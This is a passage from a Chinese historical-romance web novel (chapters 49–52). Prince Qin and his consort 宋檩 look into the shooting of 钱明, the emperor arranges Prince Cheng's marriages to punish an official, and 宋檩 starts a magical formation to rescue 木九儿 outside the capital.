瞿昙动了动眼眸,故作不解道:“回圣上,此事关乎皇后娘娘的清白,臣自当尽力而为,不知这第二件事……”
圣上到底是想让他查胡人尸首还是旁的?
老皇帝瞪了他一眼,“查不好,提头来见!”
他摸了摸鼻尖,“臣遵旨。”
汪明飞父子一直在御书房外等候,见他出来迎了上去,“下官见过秦王。”
瞿昙微抬手,“汪府尹在等本王?”
“正是,关于这两桩案子,下官需要和王爷交接。”汪明飞笑呵呵应道,跟太子和承王扯上关系的事情他是一件都不想接,终于要脱手了。
瞿昙望了望天,难得的好天气,不急不缓道:“汪府尹,马上就到午膳时间了,本王得回府陪王妃用膳,有什么事改日再说。”
汪明飞:“……下官恭送王爷。”怎么感觉还没吃饭就饱了?
秦王府里,华承璟正在花厅喝茶。
“若非林武说漏了嘴,我还不知你前段日子受了伤,怎么连我也瞒着?”
宋檩抓了抓后脑勺,一脸讪笑,“也没什么大事,都已经好了。”
她既不愿说,华承璟也不追问,叹息一声,“你让我查的事情有结果了,从使臣队伍过北疆的人数来看,慕容白确实还在大昭境内。”
至于待在什么地方,一时半会儿查不出来。
宋檩蹙了蹙眉,他一定就在某个隐秘的地方,监视着秦王府的一举一动。看来木九儿于他很重要,否则也不至于冒着生命危险逗留大昭。
只是眼下把她送走成了大问题。
“阿兄与茹素公主近来可有接触?”
华承璟喝了口茶,放下手里茶盏,“和谈结束后她就搬出了鸿胪寺,在驿馆下榻,没怎么见过。”
“听说在城里很活跃,每逢宴会必到场。”
这么热衷社交,怕是目的不单纯,宋檩拧眉。
想起瞿昙说过的话,她眉心舒展,散了些愁绪,“和谈结束,东海之事快要提上日程,阿兄可做好了准备?”
其实这件事不需要什么准备,太子和承王的人可以在朝堂上分庭抗礼,但并无治军能人,即便有心也无法。
他笑了笑,“此事的突破口在文献礼。”
宋檩深以为然,她得尽快跟文献礼见一面,商定后续事宜。
49. 怕王妃心疼
瞿昙一回府就被告知五皇子来了,现下和王妃正在花厅喝茶,他头也不回地往花厅去。
他一进门花厅里的人就注意到了,虽然早就见过这身装扮,再见到还是忍不住惊艳。
宋檩借着喝茶掩盖情绪。
瞿昙褪下大衣丢给惊风,在椅子上落座,“五殿下来府里,王妃怎么不派人通知本王?”
华承璟挑眉,眼神有些奇怪。
宋檩一脸疑惑地看着他,阿兄来府里找她,又不是见他,干嘛通知他?难道她还不能在王府接见自己的亲人?
意识到两人可能想岔了,瞿昙赶忙补救,“我的意思是,五殿下来者是客,我好歹是主人,怎能不在场?”
宋檩白了他一眼,自打体内毒素清除,这男人说话总揶揄人,她都已经习惯了。
“瞧王爷这神情,定是揽了不少好差事。”
瞿昙指着她笑了一笑,替自己倒上茶水,“王妃聪明,圣上派了两桩差事,查不好,提头去见!”
宋檩嘴角收拢,脸上的笑一扫而光。
“你答应了?”一看就是吃力不讨好又得罪人的差事,还两件,真是长本事了。
“圣上赐,岂能辞?”他眉眼轻挑,咂摸了一下嘴里的茶水,很是满意。
宋檩抿嘴,面无表情地看着他,可她发现自己看不透瞿昙,“王爷,你好像对我的意见很大?”
瞿昙原是倚在椅子靠背上的,听了他的话坐直身子,一脸不可置信,“天地良心,我可不敢!”
说最怂的话,做最狠的事,说的就是他。宋檩抽了抽嘴,懒得跟他耍嘴皮子。
她扭头看向华承璟,不再理会瞿昙,“阿兄,我在信中提到的事,你考虑得如何?”
华承璟的注意力一直在他们两人身上,他发现瞿昙对阿眠的心思不单纯,只可惜阿眠还没开窍。
突然听到她叫自己,一下子没反应过来。
被两双眼睛直勾勾盯着,借着喝茶的动作掩饰尴尬。
他咳了两声,“秦王愿意合作,求之不得。”
瞿昙挑眉,料他也不会拒绝。
安管事来到花厅,询问在哪用午膳。
两人齐刷刷看向华承璟,后者慢吞吞起身,“我还有事,就不打扰二位用膳了。”
宋檩点头,没有强留的意思。
脚还没踏出花厅,华承璟突然停下,斜了下脑袋往后看,“王爷,不送送我吗?”
瞿昙看向已经起身的宋檩,不情不愿地去送人。
在花厅看不到的地方,华承璟嘴角轻扬,心情大好,“王爷喜欢阿眠?”
“她是本王的王妃,本王如何待她都是应该的。”瞿昙也不遑多让。
“哦,是嘛,那王爷可得多些耐心。”能让秦小王爷吃瘪的机会可不多,华承璟觉得自己来这趟王府值了。
瞿昙停下步子,不解地看着他,“什么意思?”
难道宋檩跟他成亲前有倾慕之人?除了跟太子有过婚约,没听说别的呀,难道她倾慕太子?
那目中无人的家伙有什么值得倾慕的?
华承璟见他一脸懊恼,拍了拍他的肩膀,大笑离去。
回到膳食厅,宋檩已经差人摆好了饭菜,只等他入座动筷。
宋檩见他皱着眉头,也不知道在想些什么,料定阿兄跟他说了什么才惹得这般,“吃饭吧。”
虽然拿起了碗筷,可他的心思全不在吃饭上,华承璟一番无头无脑的话着实搅乱了他的心思。
好好的一顿饭,他不吃就算了,还频频抬头看自己,宋檩实在无法,放下碗筷,一脸严肃道:“王爷是觉得,看我能饱吗?”
瞿昙完全没有偷看被抓包的窘迫,给她夹了块爱吃的肉,笑呵呵出声,“王妃若是肯多看我两眼,指不定真饱了。”
宋檩:“……”
“说吧,什么事?”她端起筷子继续吃饭。
瞿昙眼神闪烁,似有些心虚,“我说了你可不许生气?”
宋檩给了他一个“爱说不说”的眼神,反正憋得难受的又不是她。
想要拿捏小王妃并不是件容易事,这是早就发现了的事实,瞿昙叹气,“你……是不是倾慕太子?”
她正在啃鸡肉,听到这话一愣,顾不得嘴里肉,疑惑地看着他,“阿兄说的?”
瞿昙摇头,“我自己猜的。”
宋檩了然,这种不靠谱又没根据的胡乱猜想,必定不是阿兄能想出来的。
她看着瞿昙,有些莫名其妙,“我干嘛倾慕他?”
想想两人仅有的几次见面,人家连白眼都吝啬施舍,倾慕这样的人,她是受虐狂吗?
要她说,能想出这件事的人,也一定有一颗不寻常的脑子。
虽然知道她不倾慕太子心情不错,但该说的还是得说,瞿昙心情大好,“你们那么多年婚约……”
这男人真是哪壶不开提哪壶,知道怎么捅人心窝子。
宋檩斜了他一眼,心情不悦道:“退婚之事我未曾隐瞒,怎么,现如今你体内的毒解了,就嫌弃我,觉得我配不上你了?”
“冤枉啊!”瞿昙举手喊冤。“我那不是怕王妃心疼吗?”
话不投机半句多,宋檩扒拉完碗里的饭就起身,“本王妃吃饱了,王爷你慢慢吃吧!”
太子府书房,华承乾得知事情始末,砸了一个御赐的砚台,地板到处晕染着墨色。
幕僚跪在地上不敢吱声,消息竟是从宫里传来的,在此之前没收到半点蛛丝马迹。
这明显是针对太子的局!单孤臣被打了个措手不及。
“太子殿下息怒!是那侯振培太不识好歹,犯不着为了这样一个人动怒!”他挺直了腰板说话。
华承乾怒视地上的人,嗤笑道:“是不是等他们的孩子出生了,你们再告诉本殿去吃酒啊?”
息怒?怎么息怒?
如果不是这次京兆府衙大肆盘查偶然撞上,他还被蒙在鼓里!
府里开销哪一年不是紧着他们,办的事情没一件顺心满意,想到这里他就心烦。
出了事倒是一个个都成了哑巴。
华承乾的视线在尹春秋和单孤臣身上来回游动,这些年他给了单孤臣不少机会,无非想栽培自己的亲信。
尹春秋虽然忠心,到底是陆氏家学出身,他心有芥蒂。
单孤臣确实办了几件不错的差事,没有辜负他的栽培。可近来几件差事办的实在不怎么样,竟然消息闭塞至此。
有必要进行一番敲打了。
他的视线定在尹春秋身上,“尹老,去陆家了解来龙去脉,着人调查钱明中箭的真相,搞清楚秦王府的角色。”
“老夫这就着手去办。
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”尹春秋不紧不慢道。
不论是被抢了风头,还是重获恩宠,他永远是这副不咸不淡的样子,与单孤臣的咄咄逼人完全不同。
尹春秋起身,以他为首的同僚相继起身。
才出书房没多远,一群人围在尹春秋身边,纷纷说起恭喜的话。
“往常这样紧要的事情,太子都交给单孤臣,现下给了我们,恭喜尹老!”
“恭喜尹老!”
一时间耳旁全是道喜声,尹春秋环视众人一群,摆了摆手,“老夫可把丑话说在前头,这次的差事谁敢办砸了,我就把他给办了。”
瞬间鸦雀无声。
尹春秋看向静候差遣的人,指了两个道:“我写个手信,你们安排人送给宋二姑娘。”
“都动动脑子,想想怎么把这件事办好,我去一趟陆家。”活到这个岁数,尹春秋十分通透。
太子把这件差事交给他,无非是和陆家的渊源,他这位殿下,心大着呐!
“恭送尹老!”
书房里的其他人都被华承乾赶了出来,只有单孤臣还跪在地上。
“本殿把这件事交给尹春秋去办,你可有不服?”华承乾踱步到他跟前,居高临下打量地上的人。
单孤臣拱手,脸上表情看不出半点不满,“孤臣服气。”
“谅你也不敢有异议!”他折身往窗边走,“起来吧。”
跪了这么久,单孤臣感觉两条腿已经不是自己的了,慢吞吞站起来,一瘸一拐走到华承乾身侧。
“孤臣能有今日,全赖殿下栽培。”不管腿脚如何哆嗦,他仍旧垂首作揖。
华承乾望向院子里光秃秃的树干和孤零零的假山,心中百感交集。没了竞相争夺的对手,也不见得就很辉煌。
“你怎么看待这件事?”
单孤臣心下一喜,他就知道殿下不会真正舍弃自己。
“孤臣知殿下心慈,绝不会对钱明动手,此事定是有人做局。”
身为幕僚,他摸透了这位储君的性子,虽无大才却有大志,依靠世家而生,又不愿被世家掣肘。
行事不如承王武断,多瞻前顾后,原因无他。
若想有所作为,必定要借助世家势力,一旦搞砸满盘皆输。守着一亩三分地,圣上驾崩后就能顺理成章登基,彼时有广袤的天地可以实现抱负。
没必要跟承王去拼这个命。
正是摸透了这一点,有些时候才敢肆无忌惮,他无需像尹春秋那样束手束脚。
“孤臣以为,此事应当不是承王所为。”跪在地上的时候,他根本顾不上埋怨,满脑子都在思考这件事,料定殿下一定会问他。
他的话勾起了华承乾的兴致,体谅他跪太久,示意他坐下说。
单孤臣俯首作揖后才坐下,“殿下和承王去怀远伯府,此事有目共睹,并没有刻意隐瞒。承王若此时动手,咱们不可能收不到半点消息!”
朝中谁人不知太子和承王针锋相对已久?对方的一举一动都在彼此监视之下。
他悄悄看了太子一眼,见他并无反对之意,继续道:“现场发现的陆家腰牌让孤臣坚定了猜想。”
华承乾跟他的想法无二,承王还不至于这么傻。
“你暗中联系一下承王府和秦王府的人。”
单孤臣眼眸微动,“孤臣这就去安排。”
50. 第三方势力
这几日中都又下了雪,院子里一片雪白。
宋檩的眼睛有些刺疼,黎樾嘱托她少出门,以防雪盲症。自打领了差事,瞿昙整日里早出晚归,两人已经好些天没见着了。
收到宋姿的邀约,还是头一回。
林歌替她梳了个简单的发髻,拿过一早备下的帷帽戴在她头上,帽檐堪堪遮住脖子。
“姑娘当心些,目视前方,别往脚下看。”黎神医说姑娘的眼睛受了伤,比寻常人敏感。
万不可叫大雪灼伤眼睛。
两人到约定的酒楼时,宋姿已经等候在那。
宋檩打量了一番,没找见宋沅,看来两姊妹生了嫌隙。
“大姐姐来了。”原还坐着的宋姿见到来人,忙起身迎了过来。
较之往日的虚情假意和不屑一顾,今日的她倒多了几分讨好?宋檩估摸是有人授意,且此人对她相当重要。
眼下紧要之事就那么两件,她闭着眼睛都能猜到是什么。
宋檩扫了眼视线中的那只手,不动声色地别开,走到她对面的位子坐下,“二妹妹今日约我出来,有事?”
宋姿没料到她这么直白,脸上的笑有些挂不住,她咧了咧嘴角,动作僵硬地坐下,“姿儿与大姐姐许久未见……”
等了半天也才憋出这么一句话,宋檩都替她尴尬。
她一脸嗤笑,“宋沅,你我是什么样的人,彼此心知肚明,没必要逼自己说些违背良心的话。”
原也没想真的奉承她,被拆穿再也装不下去了,宋姿收起笑,面色如常,“你虽已嫁人,到底还是姊妹,看在相府的份儿上,我相信大姐姐也不会为难我。”
宋檩挑眉,她倒是会拿捏,也不知道哪来的底气。
“别把自己抬得太高,你还代表不了相府。”
“你……”宋姿咬了咬嘴唇,恼羞成怒,“我今日不是来找你吵架的!”
宋檩眼神都没给她一个,兀自倒了茶水喝,“我也没那闲工夫跟你吵,有事说事,别拐弯抹角。”
“听闻大姐姐救了钱明,可有此事?”
“确有此事。”宋檩借着喝茶的工夫瞄了她一眼,嘴角微微上扬,诈她?
尹老给她的消息是秦王府的人救了钱明,那么说不过是想诈她一下,宋檩竟然直接承认,好不要脸!
现下还有求于她,又不能直接骂出来,宋姿憋得满脸涨红,一时竟不知该如何接话。
“秦王……待大姐姐真好。”她动了动嘴,不知是羡慕还是不信。
“这关他什么事?”宋檩偏不放过她,一副没听懂的样子。
宋姿深吸一口气,强压下同她吵架的欲望,扯起嘴角假笑,“大姐姐既说无关,那便无关吧。”
宋檩被她气得嘴角发抖的样子逗笑,心情大好,摘下帷帽,两眼直勾勾盯着她,漫不经心道:“是太子让你来的吧?”
“还想问什么?腰牌是不是我让人放的?”
宋姿被她一番反问堵得哑口无言,暗道娘说得果然没错,宋檩就不是个省油的灯。
“回去告诉你的太子殿下,本王妃对他没兴趣!”
“你……”宋姿紧咬牙关,恨不能指着鼻子大骂一通。她终究还是忍住了,愤愤离去。
包间只剩下宋檩,恰逢店小二来上菜,还有两壶酒,看得她两眼放光,来到大昭这几个月,她还没喝过酒。
“姑娘,咱们回府还是……”
林歌的话还没说完,就被她拽着坐下,“回什么回?这么好的酒菜,不吃多浪费啊!一起吃。”
“属下伺候姑娘用膳!”被主子拽到一张桌子上用餐,这是头一回,林歌怔愣后回神,忙起身退到一旁。
“你跑什么?这么多我一个人哪吃得完?”宋檩拿筷子的手一顿,被她突如其来地起身吓了一跳。
林歌悄悄后退了一小步,低声道:“姑娘,这不合礼数。”
大昭礼法严明,若叫外人知晓姑娘跟下属同桌而食,定然遭人非议。姑娘虽不在意那些,她这个做下属的可不能僭越。
宋檩正欲跟她辩驳一番,包间的门被人从外推开。
两人齐齐看过去,发现瞿昙走了进来,身后跟着桑无疾。
“王妃来这吃饭怎么不知会我一声?”桑无疾摇着扇子,越过瞿昙大大咧咧到桌边落座。
宋檩瞟了瞿昙一眼,狐疑地看向桑无疾,“让你来付账?”
桑无疾被她的话逗笑,虽然意思差不多,这么直白说出来的,她还是头一个。
“非也!”他拿扇子指向一侧的瞿昙,“这家酒楼是你夫君的,随便吃,不花钱!”
正好一块肉入口的她差点被噎住,瞿昙忙倒了杯水递给她,宋檩看都没看低头就喝。
林歌看着先一步端了杯子的王爷,默默收回手,朝桑无疾示意了一下,懂事地退下。
一杯水下肚,她呛得咳了好几下才缓过来。摆手示意不用再拍背了。
“我怎么……”扭头一看瞿昙不知何时来到了她身侧,她眨了眨眼,看向林歌站着的地方,屋子里早没了她的身影。
宋檩:“……”所以刚才给她倒水和拍背的人是瞿昙?
她眼神闪烁,手僵硬地摸向桌上的筷子,夹了块肉递给他,“王爷,吃吗?”
瞿昙没拂她的好意,拿碗接住,“当心鱼刺。”
宋檩以为他想吃鱼肉才这么说,立马又夹了块鱼肉放在他碗里,尴尬一笑,“我以为是林歌才……真没有冒犯王爷的意思,我发誓!”
桑无疾两手环胸抱着扇子,身子后仰,饶有兴趣地看着面前两人,嘶……身体健康的老男人挺会来事!
他戏谑道:“怎么?林歌递的茶水能喝,我们王爷递的就不能喝了?”他眼睛微眯,一脸打趣,“担心水里放毒?”
宋檩木讷地看向瞿昙,喃喃出声,“应该……不会吧。”好歹两人现下是盟友,他没道理害自己呀!
桑无疾:“……”还真这么想……
瞿昙:“……”真是多嘴问!
林歌已经出去了,满桌子的饭菜她一个人也吃不完,宋檩看向两人,不确定他们有没有吃过饭,“要不……一起吃点?”
“好嘞!我再去加俩菜!”桑无疾麻溜起身出门。
宋檩瞥了眼身侧的男人,见他仍坐在那里没动,似乎不打算起身。就这么干坐着实在无聊,她尴尬一笑,“王爷怎么知道我在这?”
“我跟无疾过来用膳,看到王府的马车在门外。”
“哦。”宋檩撑着脑袋回应了一声。
就哦?也太敷衍了,就这么不愿跟他说话?瞿昙拧了
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拧眉,“王妃喜欢这家酒楼的菜?”
宋檩认真想了一下他的话,刚才吃的几个菜口味都不错,很有特色,确实比别的酒楼好吃。
她点头,应该是喜欢的。
“喜欢就常来,自家酒楼,不花钱。”秦小王爷可算是在小王妃跟前寻得了一个刷存在感的机会。
可惜,宋檩的脑回路一向与常人不同。
原本舒展的眉立马紧皱,“我天天吃,顿顿不给银子,不得被吃垮呀?”
瞿昙拧了拧眉,眼神里闪过不可思议,还有些强行压抑地笑,“王妃……还是养得起的。”
“吃穷他?是个王妃恐怕也不行啊!”桑无疾恰好听到这句话,笑得眼泪都要出来了。
“王妃当真不知他有多少产业?”
瞿昙斜了眼他的扇子,一脸警告,“扇子不想要了?”
桑无疾麻溜收了扇子,真是的,指一下怎么了吗!
宋檩不懂他们的暗潮汹涌,还停留在产业这个话题上,“你很有钱吗?”
桑无疾:“……”秦王府,有金矿的!
被问当事人反应平平,“不清楚,王妃若是好奇,可以问问安管事。”
桑无疾的眼神在两人身上移动,他觉得这个话题不适合继续下去,否则世上会多一例红眼病。
“王妃怎么会来这里?”对着瞿昙咧了咧嘴,他扭头问宋檩。
宋檩也不藏掖,说了宋姿约她的事,“对了,你们不是一直在查吗?可有进展?”
瞿昙和桑无疾对视一眼。
“不能说啊?”她咬着筷子反问。
“那倒不是。”桑无疾轻轻一叹,“这件事跟我们预想的有些不一样。”
说这话她就来劲了,宋檩迫不及待道:“哪儿不一样?”
桑无疾频频看向瞿昙,不停地卖关子,“就是……”一番手舞足蹈后把话递给了瞿昙。
“射杀钱明的人既不是太子也不是承王。”
沉默之后,宋檩突然出声,“也就是说……还有第三方?”
自林武身体恢复,便一直受命监视卫使府,这才让她先一步发现侯悦和华承坤的事。
至于跟踪钱明,也是清楚太子和承王的秉性。如今看来,有人跟她想到了一处,对方极有可能知道她的人参与其中……
一抬头发现两人都盯着她,宋檩微怔,似是想到了什么,放下筷子,坐直了身子,不可思议地问向两人,“你们不会怀疑这事是我做的吧?”
桑无疾眼神闪烁,坦白说,有这么想过。不过不是她,而是五皇子。
宋檩:“……”人无语的时候真的会笑。
“我犯不着给自己找事儿!”她没好气道。
“其实我已经有了怀疑对象。”瞿昙的话成功吸引了两人的注意力,桑无疾惊讶他竟然没告诉自己。宋檩想知道他口中的人是不是跟自己有关。
“还得感谢王妃。”
这话有些莫名其妙,可宋檩知道,他从不是毫无根据胡乱说话的人。她将两人共同的人际关系梳理了一遍,把目标锁定在文献礼身上。
至于文献礼有关的人……
“嘉安郡主?”她眉头一拧,语气有些激动,“准确来说,是东海王府!”
桑无疾恍然,怎么把他给忘了。
51. 三日后完婚
东海王府一向低调,想抓住他的把柄并非易事。
瞿昙入宫汇报了事情进展,加之陆府确有护卫丢失一事,算是彻底摘掉了嫌疑。
关于另一件事,老皇帝已经有了决断。
陆皇后一进养心殿就觉事情不简单,陆家受冤一事她只字不提,兢兢业业做皇后的本分事。
“臣妾参见圣上。”
老皇帝微抬手,示意她平身。“皇后来了,坐。”
陆皇后就座,眼神却在打量榻上的人,拿不准今日召见她的目的。
老皇帝拿拳头轻轻捶了下自己的额头,缓缓起身,“这次的事情,是皇后受了委屈。”
“事情查清楚就好了,臣妾倒没什么要紧的。”她淡淡一笑,等着接下来的话。
她的回答让老皇帝深感欣慰,“朕不会白让你委屈。”
皇后明白他的意思,陆家受的委屈会补偿到太子身上,忙起身道谢,“臣妾谢过圣上。”
“今日找皇后,主要是为了承王的事情。”他撑着榻就要起身,陆皇后起身去扶。
承王和侯悦的事情虽未公开,宫里早传遍了,现下薛贵妃还躲在自己的宫里,面都不敢露。
陆皇后暗暗揣测,依着圣上对薛氏的宠爱,只怕会让承王得意。
她理了理衣裳,就势落坐在榻沿,垂下的眸子里全是对老皇帝心思的揣测,“承王意气风流,圣上何不赐他一门婚事?有个王妃管束着,自然会收敛。”
老皇帝点头,深以为然。睁开半阖的眼睛,询问她的意见,“皇后可有适合的人选?”
这个问题不好答,皇后心里却早已有决断。她的手贴上老皇帝的肩膀,轻轻揉捏起来。
“承王与臣妾并不亲近,岂敢妄加举荐?”
她边揉肩边思索道:“不过话又说回来,侯姑娘跟他的事情已成定局,圣上合该给他二人赐婚。”
老皇帝捉住肩膀上的手,仔细打量她的神情,眼神中暗藏意外,“皇后当真这么想?”
“臣妾得为侯姑娘的名声着想。”她面不改色,由他打量。
这下不甘心的倒成了老皇帝,侯振培竟敢忤逆他,有负皇恩,简直大逆不道!就这么轻易让他得逞,绝无可能!
老皇帝下榻起身,在殿中央来回踱步,心烦意乱。
心烦就对了,皇后见火候已到,起身道:“臣妾记得,承王先前有求娶宋三姑娘的心思。”
老皇帝步子一顿,猛回头瞪着她,喜笑颜开,“朕怎么把这事给忘了!”
“宋明书一向恭谨,他的女儿定能胜任承王妃的位子!来人,拟旨!”
帝王一怒,遭殃的人不会太少,王公公不着痕迹地朝皇后行了个礼,立马着人备笔墨,一刻也不敢耽搁。
次日,赐婚诏书前后抵达相府和卫使府。
相府三姑娘宋沅德才兼备,赐为承王正妃。卫使府千金侯悦因与承王两情相悦,赐为侧妃,三日后完婚。
一时间,有人欢喜有人愁。
卫使府,宣旨内侍们一走,侯振培怒砸花厅,气老皇帝的无情,又毫无办法,只能忍下这个哑巴亏。
他站在花厅台阶前,闭眼望着上空,这步棋算是废了。
侯悦跪在地上,哭得死去活来。
“哭什么哭,闭嘴!”本就心烦的他被这哭声搅得他瞪视着地上跪着的人。
只要皇帝还在世,他的仕途算是走到头了。想到这个问题,侯振培就觉得肉疼,好好的一盘棋怎么就搞成了这个样子?
他越想越气,咬牙切齿道:“赶紧起来,备嫁!”
皇上赐婚就算了,竟还在圣旨上写两情相悦的话,卫使府的名声算是毁在她身上了。
“父亲,女儿不要为侧妃,凭什么宋沅一个妾室生的是正妃?女儿不服!”她是卫使府唯一的千金,宋沅只是相府三女,即便她母亲不再是妾室,也不过才是个平妻。
凭什么压在她头上作威作福?
侯振培恨铁不成钢地瞪着她,“成事不足败事有余!你弟弟还背着官司,又闹出这样的事情!”
“你呀你!皇上没让承王一顶轿子抬你进府已经是手下留情了,你还想怎样?”竟然还不知好歹地想要做正妃?早干嘛去了!
侯悦委屈至极,脸上的泪水不断往下掉。
韦氏不干了,她一向疼爱儿女,而今受了委屈不说,还要挨父亲的指责。
她搂住侯悦,轻轻拍着背,一脸埋怨地看向侯振培,“我可怜的悦儿本就受了委屈,不为她讨公道反而责怪,哪有你这样做父亲的?”
“都是你给惯的!”侯振培狠狠瞪向韦氏,袖子一甩不再说话。
侯悦靠在韦氏的怀里,不断抽泣。她想为自己讨个说法,韦氏却不停摇头。
“你父亲正在气头上,什么都听不进去,且等着他气消了……”
“气消了怎样?还想让我去圣上跟前求情?”侯振培一脸不屑地看向韦氏,眼中满是讽刺。
到底是小门小户,教出的女儿也那般难堪大用!
韦氏是个好性子,但经他这般说也来了脾气。
“怎么?让你为女儿讨个说法还让你丢脸了?”
侯振培被她的话气笑了,要不怎么说妇人之仁!
他也懒得去吵,随地坐在台阶上,静静望向灰蒙蒙的天,“你以为圣上为何赐了悦儿侧妃,还将宋沅赐为正妃?”
韦氏和侯悦齐齐看向他,这也是她们不解之处。
“那是因为……圣上已经打算放弃我了,知足而退尚且还是个卫使,否则……只能告老还乡,退出大昭的政坛了。”
“那时你们跟乡野村人也没什么两样。”
韦氏闭嘴不说话了,侯悦也安静下来,她们没想到事情会这么严重。
侯振培一副颓态,丢下一句好自为之离开了。
与卫使府相反的是相府,大女儿虽赐婚给太子却一直没有完婚的动静,侯氏虽不说,心里却一直有个结。
眼下又接到小女儿和承王的赐婚诏书,正妃就算了,还这么快完婚,全是意外之喜。
她确实一直偏心姿儿,可两个女儿都嫁给最得皇宠之人带来的虚荣已经冲昏了头。
不管将来登基为帝是太子还是承王,她的女儿都是皇后。一想到这,她看向宋沅的眼神都变得慈爱。
“娘,爹爹,沅儿马上就要嫁入承王府为正妃了。”宋沅没想到事情会这么顺利,完全沉浸在喜悦。
侯宛仪替她高兴,宋明书自然也是高兴的。
圣上本就给宋姿赐了婚,如今再将宋沅赐婚给承王,自己依然可以谁都不帮,只忠心
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于圣上,谁都不能说什么。
阿眠说得对,有些事情看似百利无一害,却未必是件好事,有些事情看似不讨好,却是难得的好事。
“沅儿三日后出嫁,时间紧迫,快去准备吧,不要在这里耽搁了。”宋明书难得心情不错,发了话。
宋沅更加高兴,当初二姐姐被赐婚给太子殿下的时候,爹爹都没有这么高兴过!
侯氏沉迷在欢喜里,没注意到宋姿的不对劲,宋明书却注意到了。
大厅里只剩下父女两人时,他叫住了宋姿。
“姿儿,如今你妹妹出嫁紧急,你的婚事也不能一直耗着,你且放心去准备自己的嫁妆,为父估摸着你和太子的婚事也快了。”
宋姿没想到父亲会突然关心她的婚事,有些受宠若惊。
“父亲!”
宋明书也没多说,只摆了摆手叫她下去,“你毕竟是太子妃,不能怠慢。”
宋姿一直都明白,爹爹的话在圣上跟前分量很重,他既这般说,定是好事将近,心里的阴霾一扫而空。
是了,宋沅只是个承王妃,三日后完婚到底太仓促,还有个同时入门的侧妃,未必是段好姻缘。
她是太子妃,未来的皇后,此事急不得。
“姿儿这就去准备。”
宋檩待在王府内,外头的事情却一个都没逃过她的眼睛。她裹得严严实实,闭眼斜躺在摇椅上听林歌说事。
“皇后提了承王求娶一事,说来三姑娘还得感谢她。”
“圣上心有隔阂,定不会轻易如了侯卫使的意,这不,侯悦是侧妃,三姑娘是正妃,往后这二人只能做仇人了!”
自己的女儿成了承王侧妃,而外甥女是正妃,进了一个府,女人之间的战斗,终会把侯振培推向孤家寡人的地步。
一手提携起来的人生了异心,妄图逃出掌控,最好的法子就是断他后路,让他退无可退,好狠的帝王心!
即便侯振培再如何收敛,往后的圣宠定然不复存在了。
宋檩一点也不觉得意外,老皇帝不这么做,她才会觉得不对劲。
林歌想起什么,突然笑了,“侯氏现下成了全中都城人人称羡的妇人,少不得叫姑娘回去。”
一则炫耀相府女儿嫁得好,她这个主母脸上有关。至于别的,自然是朝姑娘示威。侯氏那点小心思,全写在脸上了。
二人有说有笑,安管事进了院子。
“给王妃请安!”他一把年纪了,腿脚倒是利索。
宋檩坐正身子,“安管事亲自过来,可有要事?”
他从袖子里取出一个请柬,双手呈上,“回王妃的话,刚才相府的人过来,嘱咐老奴把这个送到王妃手里。”
宋檩和林歌对视一眼,才说起,这么快就到了。
林歌接过请柬,递到了宋檩手中。
她翻着看了看,无非就是三日后宋沅出嫁,相府邀请她和瞿昙同去,大有撑场子的意思。
就侯氏那点心思,跟她们猜测的大差不差。
“有劳安管事亲自跑这一趟。”
“不辛苦,能为王妃办事是老奴的福气,况且王爷吩咐过,王妃的事情都是大事,马虎不得。”他还不忘替自家王爷说几句好话,找找存在感。
宋檩不说话,只笑着叫林歌送安管事。
52. 救人于危难
林歌才出去一会儿,就见林武血淋淋出现在屋子,闻着味道伤得不轻。
“怎么回事?”宋檩一个鲤鱼打挺站起身,欲上前搀他坐下。林武后退一步,避开她的动作。
“属下失职。”
这段时间下大雪,她出门不便,木九儿又是个坐不住的主,嚷嚷着要出门。
先前她承诺过,待自己眼睛恢复就亲自送她回家。得知她家紧邻益州,路程太远,宋檩才知草率了。
眼下她根本不可能长时间离京。
好说歹说才劝她先留下,却不愿一直窝在王府。宋檩无法,只能差林武护她安危。
瞧这架势,怕是木九儿出了事。
“发生了何事?”宋檩见他虽血迹斑斑,伤势并不重,想来都不是他的血。
“回王妃,木姑娘见前几次安然无恙,今日便出了城,哪知才出城就被围住,属下认得那人,就是慕容白。”
“木姑娘见对方人多势众,让属下回来求援,约定在城西的林子里会面。”林武一口气说完发生的事情。
刚说完,就栽倒在地,晕了过去。
宋檩上前探了一下他的鼻息,松了口气。恰逢林歌进屋,大声喊道:“快把人扶走,请黎樾过来看看!”
林歌被这场景吓了一跳,听她吩咐赶忙喊院子里的人帮忙。
这是姑娘的房间,他一个大男人,即便受了伤也不能躺这儿。
“林歌,你在这里照看着,我去隔壁一趟。”她没给林歌考虑的机会,戴上帷帽就出去了。
林武的武功并不差,又是暗卫,逃生并不是问题。若被围攻,还要护住旁人就会吃不消。
难得等来这个千载难逢的机会,慕容白绝不会手下留情。
不管他们之间有什么纠缠,木九儿既然懂阵法,她就不能叫外人给带走。
宋檩急匆匆来到隔壁,却被告知瞿昙去了书房,她顾不得肆虐的寒风,转身就往书房跑去。
戴着帷帽的她只顾看脚下的路,没看见得到消息往这边赶的人,路过抄手回廊时直接撞进瞿昙的怀里。
他伸手接住被撞的眼冒金星的人,见她身着单薄,忙脱下氅衣给她裹上,“穿这么少往外跑做什么?”
宋檩摸了摸笔尖,好一阵才缓过来。
“林武重伤回来,木九儿被困城外,我要借几个人去城西树林……”
“好!本王跟你一起去。”她还没说完,瞿昙已经答应了。
“不用,你借我几个人就行。”宋檩知他最近被东海王府一事忙得脚不离地,不愿拿自己的事情打搅他。
瞿昙压根儿听她的安排,叫上常齐和惊风,一并往城西去。
宋檩不会骑马,跟瞿昙同骑,一路快马加鞭来到城西,五脏六腑都快被抖出来了。
惊风望着四周的山,别说慕容白找不到人了,他们也没法找。
“王妃,这地儿太大了,我们怎么找?”身为秦王府第一侍卫的他头一回觉得自己见识少,城西什么时候有这么大一片山了?
宋檩掐着嗓子干吐了一阵,才在瞿昙的辅助下艰难下马,落到地上人都是虚的。
她拍了拍胸脯,脸上依旧惨白,扫向四周的眼神里满是疲惫,“这几棵树,每棵树上站一个人。”
这话既是说给惊风的,也是说给瞿昙的。
得到自家王爷的命令,惊风领人往她方才指过的树上站去。他知王妃又要放大招了。
宋檩看向身后的人,一脸严肃道:“王爷,这里不只有木九儿,慕容白的人也在,不确定谁离我们更近。”
“会有危险?”瞿昙眉头紧皱,直觉告诉他,宋檩又要使用阵法了。
“只要树上的人不乱动,别随意打断我,就没什么危险。”木九儿既约在此处,就是方便她用阵法助她。
只要确定位置,救下她不在话下,这里毕竟是大昭国土。
“好,我保证不让人打断你。”
有了他的承诺,宋檩放手去干。
只见她以一种诡异的步子,在几棵树之间走动,也不知干了些什么,平地里起了一阵风,站着人的大树开始剧烈晃动。
